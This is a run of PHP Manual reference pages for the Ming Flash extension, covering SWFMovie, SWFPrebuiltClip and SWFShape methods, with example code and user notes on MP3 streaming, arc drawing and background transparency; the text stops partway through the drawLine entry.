SWFMovie::importFont
SWFMovie


SWFMovie::importChar
SWFMovie::labelFrame
SWFMovie
PHP Manual

SWFMovie::importFont

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::importFont —

Description

SWFFontChar SWFMovie::importFont ( string $libswf , string $name )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::importChar() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::importChar
SWFMovie::labelFrame
SWFMovie


Labels a frame

SWFMovie::importFont
SWFMovie::nextFrame
SWFMovie
PHP Manual

SWFMovie::labelFrame

(PHP 4 >= 4.3.3)

SWFMovie::labelFrame — Labels a frame

Description

void SWFMovie::labelFrame ( string $label )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::importFont
SWFMovie::nextFrame
SWFMovie


Moves to the next frame of the animation

SWFMovie::labelFrame
SWFMovie::output
SWFMovie
PHP Manual

SWFMovie::nextFrame

(PHP 4 >= 4.3.3)

SWFMovie::nextFrame — Moves to the next frame of the animation

Description

void SWFMovie::nextFrame ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Moves to the next frame of the animation.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::labelFrame
SWFMovie::output
SWFMovie


Dumps your lovingly prepared movie out

SWFMovie::nextFrame
SWFMovie::remove
SWFMovie
PHP Manual

SWFMovie::output

(PHP 4 >= 4.3.3)

SWFMovie::output — Dumps your lovingly prepared movie out

Description

int SWFMovie::output ([ int $compression ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Dumps the SWFMovie.

Don't forget to send the Content-Type HTTP header file before using this function, in order to display the movie in a browser.

Parameters

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

Examples

Example #1 Displaying your $movie in a browser

<?php
header('Content-type: application/x-shockwave-flash');
$movie->output();
?>

See Also

  • SWFMovie::save() - Saves the SWF movie in a file
  • SWFMovie::saveToFile() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::nextFrame
SWFMovie::remove
SWFMovie


Removes the object instance from the display list

SWFMovie::output
SWFMovie::save
SWFMovie
PHP Manual

SWFMovie::remove

(PHP 5.2.1-5.3.0, PECL ming SVN)

SWFMovie::remove — Removes the object instance from the display list

Description

void SWFMovie::remove ( object $instance )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Removes the given object instance from the display list.

Return Values

No value is returned.

See Also

  • SWFMovie::add() - Adds any type of data to a movie

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::output
SWFMovie::save
SWFMovie


Saves the SWF movie in a file

SWFMovie::remove
SWFMovie::saveToFile
SWFMovie
PHP Manual

SWFMovie::save

(PHP 4 >= 4.3.3)

SWFMovie::save — Saves the SWF movie in a file

Description

int SWFMovie::save ( string $filename [, int $compression = -1 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Saves the SWF movie to the specified filename.

Parameters

filename

The path to the saved SWF document.

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

See Also

  • SWFMovie::output() - Dumps your lovingly prepared movie out
  • SWFMovie::saveToFile() - Description

User Contributed Notes

jerryscript at aol dot com 04-Jan-2004 06:43
Ming 0.3 (current CVS) allows you to set the compression level 0-9 when saving to file.  Use 9 for MX style compression.

<?php $myMovie->save($str_filename,9); ?>
SWFMovie::remove
SWFMovie::saveToFile
SWFMovie


SWFMovie::save
SWFMovie::setbackground
SWFMovie
PHP Manual

SWFMovie::saveToFile

(PHP 4 >= 4.3.3)

SWFMovie::saveToFile —

Description

int SWFMovie::saveToFile ( resource $x [, int $compression = -1 ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

X

compression

The compression level can be a value between 0 and 9, defining the SWF compression similar to gzip compression.

This parameter is only available as of Flash MX (6).

Return Values

Return the number of bytes written or FALSE on error.

See Also

  • SWFMovie::output() - Dumps your lovingly prepared movie out
  • SWFMovie::save() - Saves the SWF movie in a file

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::save
SWFMovie::setbackground
SWFMovie


Sets the background color

SWFMovie::saveToFile
SWFMovie::setDimension
SWFMovie
PHP Manual

SWFMovie::setbackground

(PHP 4 >= 4.3.3)

SWFMovie::setbackground — Sets the background color

Description

void SWFMovie::setbackground ( int $red , int $green , int $blue )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the background color.

Why is there no rgba version? Think about it, you might want to let the HTML background show through. There's a way to do that, but it only works on IE4. Search the » http://www.macromedia.com/ site for details.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

Return Values

No value is returned.

User Contributed Notes

DerHorst at gmail dot com 27-Jul-2009 08:40
Adding the following parameter to the EMBED tag works for a few browsers or will (maybe) work in future:

wmode="transparent"

http://www.macromedia.com/support/flash/ts/documents/wmode.htm
(redirecting to http://kb2.adobe.com/cps/142/tn_14201.html )
martin lindhe 06-Feb-2006 07:25
If you specify bgcolor in the html tags embedding the flash movie, this command have no effect.

To make setBackground() have an effect, make sure you remove

<param name="bgcolor" value="#ffffff>" />

and remove bgcolor="#ffffff" part from:
<embed src="file.swf" quality="high" bgcolor="#ffffff" ...>
07-Aug-2001 03:28
here's how to make the background transparent (IE4 or higher):
<param name="wmode" value="transparent">
SWFMovie::saveToFile
SWFMovie::setDimension
SWFMovie


Sets the movie's width and height

SWFMovie::setbackground
SWFMovie::setFrames
SWFMovie
PHP Manual

SWFMovie::setDimension

(PHP 4 >= 4.3.3)

SWFMovie::setDimension — Sets the movie's width and height

Description

void SWFMovie::setDimension ( float $width , float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the movie's dimension to the specified width and height.

Parameters

width

The movie width.

height

The movie height.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::setbackground
SWFMovie::setFrames
SWFMovie


Sets the total number of frames in the animation

SWFMovie::setDimension
SWFMovie::setRate
SWFMovie
PHP Manual

SWFMovie::setFrames

(PHP 4 >= 4.3.3)

SWFMovie::setFrames — Sets the total number of frames in the animation

Description

void SWFMovie::setFrames ( int $number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the total number of frames in the animation to the given number.

Parameters

number

The number of frames.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::setDimension
SWFMovie::setRate
SWFMovie


Sets the animation's frame rate

SWFMovie::setFrames
SWFMovie::startSound
SWFMovie
PHP Manual

SWFMovie::setRate

(PHP 4 >= 4.3.3)

SWFMovie::setRate — Sets the animation's frame rate

Description

void SWFMovie::setRate ( float $rate )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the frame rate to the specified rate.

Animation will slow down if the player can't render frames fast enough- unless there's a streaming sound, in which case display frames are sacrificed to keep sound from skipping.

Parameters

rate

The frame rate, in frame per seconds.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::setFrames
SWFMovie::startSound
SWFMovie


SWFMovie::setRate
SWFMovie::stopSound
SWFMovie
PHP Manual

SWFMovie::startSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::startSound —

Description

SWFSoundInstance SWFMovie::startSound ( SWFSound $sound )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFMovie::stopSound() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::setRate
SWFMovie::stopSound
SWFMovie


SWFMovie::startSound
SWFMovie::streamMP3
SWFMovie
PHP Manual

SWFMovie::stopSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::stopSound —

Description

void SWFMovie::stopSound ( SWFSound $sound )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFMovie::startSound() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::startSound
SWFMovie::streamMP3
SWFMovie


Streams a MP3 file

SWFMovie::stopSound
SWFMovie::writeExports
SWFMovie
PHP Manual

SWFMovie::streamMP3

(PHP 4 >= 4.3.3)

SWFMovie::streamMP3 — Streams a MP3 file

Description

int SWFMovie::streamMP3 ( mixed $mp3file [, float $skip = 0 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Streams the given MP3 file mp3file.

This method is not very robust in dealing with oddities (can skip over an initial ID3 tag, but that's about it).

Note that the movie isn't smart enough to put enough frames in to contain the entire mp3 stream- you'll have to add (length of song * frames per second) frames to get the entire stream in.

Parameters

mp3file

Can be a file pointer returned by fopen() or the MP3 data, as a binary string.

skip

Number of seconds to skip.

Return Values

Return number of frames.

Changelog

Version | Description
5.2.0 | skip added

Examples

Example #1 Streaming example

<?php
$m = new SWFMovie();
$m->setRate(12.0);
$m->streamMp3(file_get_contents("distortobass.mp3"));
// use your own MP3

// The file is 11.85 seconds at 12.0 fps = 142 frames
$m->setFrames(142);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

aaronmason85 at gmail dot com 18-May-2009 09:44
Hey all,

For those using Ming 0.3 (like me), there is a way to calculate the length of the MP3 you are using.  It might be a bit iffy for VBR files, but it seems to work well for the files I've tested thus far.  The process of calculating the frame length (and size) is detailed at http://www.mpgedit.org/mpgedit/mpeg_format/mpeghdr.htm

<?php

function get_mp3_len ($file) {

        $rate1=array(0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, "bad");
        $rate2=array(0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, "bad");
        $rate3=array(0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, "bad");
        $rate4=array(0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, "bad");
        $rate5=array(0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, "bad");

        $bitrate=array(
                '1'  => $rate5,
                '2'  => $rate5,
                '3'  => $rate4,
                '9'  => $rate5,
                '10' => $rate5,
                '11' => $rate4,
                '13' => $rate3,
                '14' => $rate2,
                '15' => $rate1
        );

        $sample=array(
                '0'  => 11025,
                '1'  => 12000,
                '2'  => 8000,
                '8'  => 22050,
                '9'  => 24000,
                '10' => 16000,
                '12' => 44100,
                '13' => 48000,
                '14' => 32000
        );

        $fd=fopen($file, 'rb');
        $header=fgets($fd, 5);
        fclose($fd);

        $bits="";
        while (strlen($header) > 0) {

                //var_dump($header);
                $bits.=str_pad(base_convert(ord($header{0}), 10, 2), 8, '0', STR_PAD_LEFT);
                $header=substr($header, 1);
        }

        $bits=substr($bits, 11); // lets strip the frame sync bits first.

        $version=substr($bits, 0, 2); // this gives us the version
        $layer=base_convert(substr($bits, 2, 2), 2, 10); // this gives us the layer
        $verlay=base_convert(substr($bits, 0, 4), 2, 10); // this gives us both

        $rateidx=base_convert(substr($bits, 5, 4), 2, 10); // this gives us the bitrate index
        $sampidx=base_convert($version.substr($bits, 9, 2), 2, 10); // this gives the sample index
        $padding=substr($bits, 11, 1); // are we padding frames?

        $rate=$bitrate[$verlay][$rateidx];
        $samp=$sample[$sampidx];

        $framelen=0;
        $framesize=384; // Size of the frame in samples
        if ($layer == 3) { // layer 1?
                $framelen=(12 * ($rate * 1000) / $samp + $padding) * 4;
        } else { // Layer 2 and 3
                $framelen=144 * ($rate * 1000) / $samp + $padding;
                $framesize=1152;
        }

        $headerlen=4 + ($bits{4} == 0 ? '2' : '0');

        return (filesize($file) - $headerlen) / $framelen / ($samp / $framesize);
}

?>
Richard Trigaux 25-Feb-2009 09:30
Seems that this function only handles some MP3 files with specified sample rates and not others. 44100 and 21050 work. With the lame MP3 converter, this is obtained with setting the "bit rate" at 112 (average compression/quality), mono or stereo. Other values may work, probably multiples, I did not tried all.
diana 07-Mar-2008 03:05
If you need to play an mp3 fully you need to do something like:

<?php
$len = $m->streamMp3(fopen("sound.mp3", "r"));
$m->setFrames($len);
?>

This works only in Ming 0.4. I'm not 100% sure but it doesn't sound to work on Ming 0.3
boreckiwebs at gmail dot com 24-Aug-2006 09:54
if you want to control the sound use these functions like this:

<?php

$m -> add(new SWFAction('
 stop(); // pauses the song
 goToAndStop(1); // stops the song, and goes back to the beginning
 play(); // plays the song from current position
'));

?>

i hope this is helpful
boo at php dot net 20-Sep-2002 03:02
Don't forget to use fopen function in example above !

Use

<?php
$m->streamMp3(fopen("distortobass.mp3", "rb"));
instead of
$m->streamMp3("distortobass.mp3");
?>

I hope this is useful for you :)
mued at muetdhiver dot org 17-May-2001 09:39
a nice feature to handle Id3tag is to get support from Unix mp3info command into a returning exec parsing
SWFMovie::stopSound
SWFMovie::writeExports
SWFMovie


SWFMovie::streamMP3
SWFPrebuiltClip
SWFMovie
PHP Manual

SWFMovie::writeExports

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMovie::writeExports —

Description

void SWFMovie::writeExports ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::streamMP3
SWFPrebuiltClip
SWFMovie


The SWFPrebuiltClip class

(No version information available, might only be in SVN)

Introduction

SWFPrebuiltClip.

Class synopsis

SWFPrebuiltClip {
/* Methods */
__construct ( mixed $file )
}

Table of Contents

  • SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object

User Contributed Notes

There are no user contributed notes for this page.
SWFMovie::writeExports
SWFPrebuiltClip::__construct
Ming


Returns a SWFPrebuiltClip object

SWFPrebuiltClip
SWFShape
SWFPrebuiltClip
PHP Manual

SWFPrebuiltClip::__construct

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFPrebuiltClip::__construct — Returns a SWFPrebuiltClip object

Description

SWFPrebuiltClip::__construct ( mixed $file )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFPrebuiltClip
SWFShape
SWFPrebuiltClip


The SWFShape class

(No version information available, might only be in SVN)

Introduction

SWFShape.

Class synopsis

SWFShape {
/* Methods */
SWFFill addFill ( int $red , int $green , int $blue [, int $alpha = 255 ] )
__construct ( void )
void drawArc ( float $r , float $startAngle , float $endAngle )
void drawCircle ( float $r )
int drawCubic ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
int drawCubicTo ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
int drawCurve ( float $controldx , float $controldy , float $anchordx , float $anchordy [, float $targetdx ], float $targetdy )
int drawCurveTo ( float $controlx , float $controly , float $anchorx , float $anchory [, float $targetx ], float $targety )
void drawGlyph ( SWFFont $font , string $character [, int $size ] )
void drawLine ( float $dx , float $dy )
void drawLineTo ( float $x , float $y )
void movePen ( float $dx , float $dy )
void movePenTo ( float $x , float $y )
void setLeftFill ( SWFGradient $fill )
void setLine ( SWFShape $shape )
void setRightFill ( SWFGradient $fill )
}

Table of Contents

  • SWFShape::addFill — Adds a solid fill to the shape
  • SWFShape::__construct — Creates a new shape object
  • SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock
  • SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion
  • SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points
  • SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points
  • SWFShape::drawCurve — Draws a curve (relative)
  • SWFShape::drawCurveTo — Draws a curve
  • SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font
  • SWFShape::drawLine — Draws a line (relative)
  • SWFShape::drawLineTo — Draws a line
  • SWFShape::movePen — Moves the shape's pen (relative)
  • SWFShape::movePenTo — Moves the shape's pen
  • SWFShape::setLeftFill — Sets left rasterizing color
  • SWFShape::setLine — Sets the shape's line style
  • SWFShape::setRightFill — Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.
SWFPrebuiltClip::__construct
SWFShape::addFill
Ming


Adds a solid fill to the shape

SWFShape
SWFShape::__construct
SWFShape
PHP Manual

SWFShape::addFill

(PHP 4 >= 4.0.5)

SWFShape::addFill — Adds a solid fill to the shape

Description

SWFFill SWFShape::addFill ( int $red , int $green , int $blue [, int $alpha = 255 ] )
SWFFill addFill ( SWFBitmap $bitmap [, int $flags ] )
SWFFill addFill ( SWFGradient $gradient [, int $flags ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

SWFShape::addFill() adds a solid fill to the shape's list of fill styles. SWFShape::addFill() accepts three different types of arguments.

red, green, blue is a color (RGB mode).

The bitmap argument is an SWFBitmap() object. The flags argument can be one of the following values: SWFFILL_CLIPPED_BITMAP, SWFFILL_TILED_BITMAP, SWFFILL_LINEAR_GRADIENT or SWFFILL_RADIAL_GRADIENT. Default is SWFFILL_TILED_BITMAP for SWFBitmap and SWFFILL_LINEAR_GRADIENT for SWFGradient.

The gradient argument is an SWFGradient() object. The flags argument can be one of the following values : SWFFILL_RADIAL_GRADIENT or SWFFILL_LINEAR_GRADIENT. Default is SWFFILL_LINEAR_GRADIENT. I'm sure about this one. Really.

SWFShape::addFill() returns an SWFFill()
object for use with the SWFShape::setLeftFill()
and SWFShape::setRightFill() functions
described below.

Examples

This simple example will draw a frame on a bitmap. Ah, here's another buglet in the flash player- it doesn't seem to care about the second shape's bitmap's transformation in a morph. According to spec, the bitmap should stretch along with the shape in this example..

Example #1 SWFShape::addFill() example

<?php

$p = new SWFMorph();

$b = new SWFBitmap(file_get_contents("alphafill.jpg"));
// use your own bitmap
$width = $b->getWidth();
$height = $b->getHeight();

$s = $p->getShape1();
$f = $s->addFill($b, SWFFILL_TILED_BITMAP);
$f->moveTo(-$width/2, -$height/4);
$f->scaleTo(1.0, 0.5);
$s->setLeftFill($f);
$s->movePenTo(-$width/2, -$height/4);
$s->drawLine($width, 0);
$s->drawLine(0, $height/2);
$s->drawLine(-$width, 0);
$s->drawLine(0, -$height/2);

$s = $p->getShape2();
$f = $s->addFill($b, SWFFILL_TILED_BITMAP);

// these two have no effect!
$f->moveTo(-$width/4, -$height/2);
$f->scaleTo(0.5, 1.0);

$s->setLeftFill($f);
$s->movePenTo(-$width/4, -$height/2);
$s->drawLine($width/2, 0);
$s->drawLine(0, $height);
$s->drawLine(-$width/2, 0);
$s->drawLine(0, -$height);

$m = new SWFMovie();
$m->setDimension($width, $height);
$i = $m->add($p);
$i->moveTo($width/2, $height/2);

for ($n=0; $n<1.001; $n+=0.03) {
    $i->setRatio($n);
    $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

See Also

  • SWFShape::setLeftFill() - Sets left rasterizing color
  • SWFShape::setRightFill() - Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.
SWFShape
SWFShape::__construct
SWFShape


Creates a new shape object

SWFShape::addFill
SWFShape::drawArc
SWFShape
PHP Manual

SWFShape::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::__construct — Creates a new shape object

Description

SWFShape::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Created a new SWFShape object.

Examples

This simple example will draw a big red elliptic quadrant.

Example #1 swfshape() example

<?php
$s = new SWFShape();
$s->setLine(40, 0x7f, 0, 0);
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->movePenTo(200, 200);
$s->drawLineTo(6200, 200);
$s->drawLineTo(6200, 4600);
$s->drawCurveTo(200, 4600, 200, 200);

$m = new SWFMovie();
$m->setDimension(6400, 4800);
$m->setRate(12.0);
$m->add($s);
$m->nextFrame();

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::addFill
SWFShape::drawArc
SWFShape


Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock

SWFShape::__construct
SWFShape::drawCircle
SWFShape
PHP Manual

SWFShape::drawArc

(PHP 4 >= 4.0.5)

SWFShape::drawArc — Draws an arc of radius r centered at the current location, from angle startAngle to angle endAngle measured clockwise from 12 o'clock

Description

void SWFShape::drawArc ( float $r , float $startAngle , float $endAngle )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFShape::drawCircle() - Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

User Contributed Notes

brad_fisher at gensler dot com 16-Dec-2008 11:57
It seems that the ming library up to at least v0.4.2 has some rounding issues with rendering the arc.  This is most evident as the radius of the arc gets smaller (try drawing a circle/arc with radius 1 using ming, better yet, try 0.5).  The following code renders a much more accurate arc at smaller radii.  It also does range checking/normalization on the angles passed in that ming doesn't do.

<?php

function drawArc( $shape, $r, $startAngle, $endAngle  ) {
    // Normalize the angles
    $delta = $endAngle - $startAngle;
    if ( abs($delta) >= 360)
        $delta = 360;
    else if ($delta < 0)
        $delta += 360;
    else if ($delta == 0)
        return;
    $startAngle = fmod($startAngle, 360);

    /* first determine number of segments, 8 at most */
    $nSegs = 1 + (int)round(7 * ($delta / 360));

    /* subangle is half the angle of each segment */
    $subangle = M_PI * $delta / $nSegs / 360;

    $angle = M_PI * $startAngle / 180;

    $x = $r * sin($angle);
    $y = -$r * cos($angle);

    $shape->movePen($x, $y);

    $controlRadius = $r / cos($subangle);

    for ( $i=0; $i<$nSegs; ++$i )
    {
        $angle += $subangle;
        $controlx = $controlRadius * sin($angle);
        $controly = -$controlRadius * cos($angle);
        $angle += $subangle;
        $anchorx = ($r*sin($angle));
        $anchory = (-$r*cos($angle));

        $shape->drawCurve($controlx-$x, $controly-$y,
                           $anchorx-$controlx, $anchory-$controly);

        $x = $anchorx;
        $y = $anchory;
    }
}

// SWFShape->drawCircle has the same issue with accuracy.  It's a simple thing to use the function above to fix this:
function drawCircle( $shape, $r ) {
    drawArc( $shape, $r, 0, 360 );
}

// EXAMPLE USAGE:

//  Set ming defaults
ming_setScale(20);
ming_useswfversion(7);

$movie = new SWFMovie();
$movie->setBackground( 0xff, 0xff, 0xff );
$movie->setRate(31);

$sprite = new SWFSprite();
$shape = new SWFShape();

// Ming circles (in green)
$shape->setLine( 0, 0, 0xff, 0 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 5 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 3 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 1 );
$shape->movePenTo( 50, 50 );
$shape->drawCircle( 0.5 );

// Drawn with drawCircle function below (in black)
$shape->setLine( 0, 0, 0, 0 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 5 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 3 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 1 );
$shape->movePenTo( 50, 50 );
drawCircle( $shape, 0.5 );

$sprite->add($shape);
$sprite->nextFrame();
$d = $movie->add($sprite);
$movie->setDimension( 100, 100 );
$movie->save( "test.swf" );

?>
visual77 at gmail dot com 30-Jul-2008 10:03
After the arc is drawn, the pen does not return to the original coordinate that the arc started on, which is the center of the circle of which the arc is a part. Instead, the pen will remain at the last spot of the arc.

In the case of a full circle, this means the pen will now be at 12 o'clock on the circle after the arc is drawn.

To revert back to the original position after drawing a circle, you can do this...

<?php

$shape = new SWFShape();
$shape->drawArc(5, 0, 360);
$shape->movePen(0, 5);

?>
SWFShape::__construct
SWFShape::drawCircle
SWFShape


Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

SWFShape::drawArc
SWFShape::drawCubic
SWFShape
PHP Manual

SWFShape::drawCircle

(PHP 4 >= 4.0.5)

SWFShape::drawCircle — Draws a circle of radius r centered at the current location, in a counter-clockwise fashion

Description

void SWFShape::drawCircle ( float $r )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

PhilipWayne 31-Mar-2009 07:14
<?php
    ming_UseSwfVersion(6);

    $movie = new SWFMovie();
    $movie->setRate(20.000000);
    $movie->setDimension(500, 400);
    $movie->setBackground(0xcc,0xcc,0xcc);

    $circle = new SWFShape();
    $circle->setRightFill(00,66,00);
    $circle->drawCircle(40);
    $sprite = new SWFSprite;
    $sprite->add($circle);
    $sprite->nextFrame();

    $displayitem = $movie->add($sprite);
    $displayitem->setName("Circle");
    $displayitem->moveTo(100,100);

    $movie->add(new SWFAction("Circle.onPress=function(){ this.startDrag('');};
    Circle.onRelease=Circle.onReleaseOuside=function(){stopDrag();};"));

    header("Content-Type: application/x-shockwave-flash");
    $movie->output(1);
?>
SWFShape::drawArc
SWFShape::drawCubic
SWFShape


Draws a cubic bezier curve using the current position and the three given points as control points

SWFShape::drawCircle
SWFShape::drawCubicTo
SWFShape
PHP Manual

SWFShape::drawCubic

(PHP 4 >= 4.0.5)

SWFShape::drawCubic — Draws a cubic bezier curve using the current position and the three given points as control points

Description

int SWFShape::drawCubic ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFShape::drawCubicTo() - Draws a cubic bezier curve using the current position and the three given points as control points

User Contributed Notes

Anonymous 19-Nov-2008 06:36
This function creates a simple bow in an Cartesian coordinate system using three points.

$bx: x-coordinate of starting point
$by: y-coordinate of starting point

$cx: x-coordinate of tanget
$cy: y-coordinate of tanget

$dx: x-coordinate of ending point
$dy: y-coordinate of ending point
SWFShape::drawCircle
SWFShape::drawCubicTo
SWFShape


Draws a cubic bezier curve using the current position and the three given points as control points

SWFShape::drawCubic
SWFShape::drawCurve
SWFShape
PHP Manual

SWFShape::drawCubicTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFShape::drawCubicTo — Draws a cubic bezier curve using the current position and the three given points as control points

Description

int SWFShape::drawCubicTo ( float $bx , float $by , float $cx , float $cy , float $dx , float $dy )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFShape::drawCubic() - Draws a cubic bezier curve using the current position and the three given points as control points

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::drawCubic
SWFShape::drawCurve
SWFShape


Draws a curve (relative)

SWFShape::drawCubicTo
SWFShape::drawCurveTo
SWFShape
PHP Manual

SWFShape::drawCurve

(PHP 4 >= 4.0.5)

SWFShape::drawCurve — Draws a curve (relative)

Description

int SWFShape::drawCurve ( float $controldx , float $controldy , float $anchordx , float $anchordy [, float $targetdx ], float $targetdy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawcurve() draws a quadratic curve (using the current line style,set by swfshape::setline()) from the current pen position to the relative position (anchorx,anchory) using relative control point (controlx,controly). That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (x+targetdx, x+targetdy) with control points (x+controldx, y+controldy) and (x+anchordx, y+anchordy).

See Also

  • SWFShape::drawCurve()

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::drawCubicTo
SWFShape::drawCurveTo
SWFShape


Draws a curve

SWFShape::drawCurve
SWFShape::drawGlyph
SWFShape
PHP Manual

SWFShape::drawCurveTo

(PHP 4 >= 4.0.5)

SWFShape::drawCurveTo — Draws a curve

Description

int SWFShape::drawCurveTo ( float $controlx , float $controly , float $anchorx , float $anchory [, float $targetx ], float $targety )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawcurveto() draws a quadratic curve (using the current line style, set by swfshape::setline()) from the current pen position to (anchorx,anchory) using (controlx,controly) as a control point. That is, head towards the control point, then smoothly turn to the anchor point.

With 6 parameters, it draws a cubic bezier to point (targetx, targety) with control points (controlx, controly) and (anchorx, anchory).

See Also

  • SWFShape::drawCurveTo()

User Contributed Notes

Chris 30-Jun-2005 12:28
for those new this all this, "anchor" is where you want to end up and "control" is the point you would go to if you were drawing a square.

for example, this would draw a quarter circle
<?php
    $s->movePenTo(100, 100);
    $s->drawLineTo(200, 100);
    $s->drawCurveTo(200, 200, 100, 200);
    $s->drawLineTo(100, 100);
?>
SWFShape::drawCurve
SWFShape::drawGlyph
SWFShape


Draws the first character in the given string into the shape using the glyph definition from the given font

SWFShape::drawCurveTo
SWFShape::drawLine
SWFShape
PHP Manual

SWFShape::drawGlyph

(PHP 4 >= 4.0.5)

SWFShape::drawGlyph — Draws the first character in the given string into the shape using the glyph definition from the given font

Description

void SWFShape::drawGlyph ( SWFFont $font , string $character [, int $size ] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::drawCurveTo
SWFShape::drawLine
SWFShape


Draws a line (relative)

SWFShape::drawGlyph
SWFShape::drawLineTo
SWFShape
PHP Manual

SWFShape::drawLine

(PHP 4 >= 4.0.5)

SWFShape::drawLine — Draws a line (relative)

Description

void SWFShape::drawLine ( float $dx , float $dy )
Warning

